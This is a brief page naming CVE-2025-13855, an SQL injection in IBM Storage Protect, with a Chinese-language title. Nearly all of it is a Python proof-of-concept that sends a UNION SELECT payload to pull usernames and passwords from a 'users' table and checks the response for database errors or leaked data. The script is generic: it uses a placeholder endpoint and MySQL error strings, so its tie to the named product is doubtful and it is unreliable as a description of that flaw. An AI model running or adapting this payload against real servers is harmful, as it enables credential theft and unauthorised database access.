CVE-2025-13855 IBM Storage Protect SQL注入漏洞

import requests def exploit_sql_injection(target_url, param_name): """ PoC to demonstrate SQL Injection in IBM Storage Protect Server. """ # Malicious payload to test blind SQL injection or error-based injection payload = "1' UNION SELECT NULL, username, password FROM users -- " # Construct the payload parameters params = { param_name: payload } try: # Send the malicious request response = requests.get(target_url, params=params, timeout=10) # Analyze response for indicators of success (e.g., database errors or leaked data) if "syntax error" in response.text or "mysql_fetch" in response.text.lower(): print("[+] Potential SQL Injection vulnerability confirmed via database error.") elif "admin" in response.text: print("[+] Potential data leakage detected in response.") else: print("[-] Exploit attempt did not yield obvious results, manual inspection required.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "http://vulnerable-server:1581/api/endpoint" exploit_sql_injection(target, "id")